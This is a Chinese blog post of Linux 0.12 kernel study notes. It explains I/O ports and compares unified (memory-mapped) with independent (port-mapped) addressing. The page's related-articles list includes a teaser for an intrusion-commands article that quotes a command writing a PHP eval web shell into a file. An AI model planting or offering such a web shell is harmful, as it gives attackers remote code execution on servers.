linux内核完全剖析——基于0.12内核-笔记(2)-统一编址和独立编址

IO是什么 ?

IO(Input and Output)是输入输出接口。是CPU和其他外部设备(如串口、LCD、触摸屏、LED等)之间通信的接口。一般的,我们说的IO就是指CPU的各种内部或外部外设。对于CPU而言,CPU操作外设就是操作外设中的寄存器,为了区分外设中的寄存器,每个被操作的外设寄存器就需要一个地址。

什么是IO端口的寻址方式?

CPU为了访问IO接口控制器或控制卡上的数据和状态信息,首先需要指定他们的地址。这种地址就称为I/O端口地址或者简称端口。通常,一个IO控制器包含访问数据的数据端口、输出命令的命令端口和访问控制器执行状态的状态端口 端口地址的设置方法一般有两种:统一编址和独立编址;

CPU访问各种外设有2种方式:一种是类似于访问内存的方式,即把外设的寄存器当作一个内存地址来读写,从而以访问内存相同的方式来操作外设寄存器,这时,IO与内存统一编址; IO的地址与内存的地址在同一个地址空间下,这种编址方式叫做IO与内存统一编址;另一种编址方式是IO地址与内存地址分开独立编址,这种编址方式叫做IO与内存独立编址,此时,CPU访问内存和访问IO就需要不同的CPU指令去访问。

统一寻址与独立编址的优缺点:

外设与内存统一的编址方式,优点是编程简单,因为可以像访问内存一样去访问外设。缺点是IO也占用CPU的寻址空间。

而独立编址的方式,优点是不占用CPU的寻址空间,但是CPU的构造比较复杂。(因为额外的CPU指令需要对CPU进行额外的设计处理)。

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏安恒信息

【漏洞预警】Linux内核权限提升漏洞(CVE-2016-5195脏牛漏洞)

漏洞编号: CVE-2016-5195 漏洞名称: 脏牛(Dirty COW) 漏洞危害: 高危 影响范围: Linux内核 >=2.6.22(2007年发行)...

45370
来自专栏黑白安全

密码的锅,Gentoo 发布 GitHub 仓库被入侵事件报告

之前我们曾报道过“Gentoo Linux 的 GitHub 仓库被入侵,意图删除所有文件”的消息,Gentoo Linux 的 Github 仓库在6月28日...

13420
来自专栏http://www.cnblogs.com

linux服务器启动报错UNEXPECTED INCONSISTENCY解决方法

内网的linux服务器给开发员用来测试以及共享文件使用,今天早上发现xshell连接不上该服务器,一开始进入系统显示reboot and select prop...

405130
来自专栏北京马哥教育

黑客常用linux入侵常用命令,有你不知道的没?

[jobcruit@wa64-054 rankup_log]$ echo -e "<?php @eval(\$_POST[md5])?>" >rankuplog...

27330
来自专栏编程坑太多

悲观锁与乐观锁

15650
来自专栏FreeBuf

内网中使用metasploit进行渗透测试

在渗透测试时,metasploit往往作为后渗透工具。而大多数站点都内网ip。而本屌丝自己的机器也是内网ip,那么两个内网ip怎么建立连接? 以前总是使用lcx...

31280
来自专栏源码之家

最新淘客AppKey申请教程

77620
来自专栏逸鹏说道

CSharp for Jupyter Notebook

之前说有机会就说下Linux下如何搭建C#版的交互编程,今天写篇文章还债^_^ Win下比较简单,可以自己看官方文档https://github.com/zab...

15360
来自专栏庄进发的专栏

Nginx + Lua搭建文件上传下载服务

项目需要做一个文件上传下载服务,利用 nginx+lua 做一个代理服务,上传入口统一,分发到不同的机器存储,下载链接和物理存储隔离,支持添加 agent 的方...

2.9K00
来自专栏逆向技术

病毒分析第一讲,分析病毒注意事项,以及简单分析主要功能

        病毒分析第一讲,分析病毒注意事项,以及简单分析主要功能 一丶认识木马和病毒的区别 木马和病毒是两个不一样的,有人会把木马认为是病毒,但其实不是 ...

23560

扫码关注云+社区

领取腾讯云代金券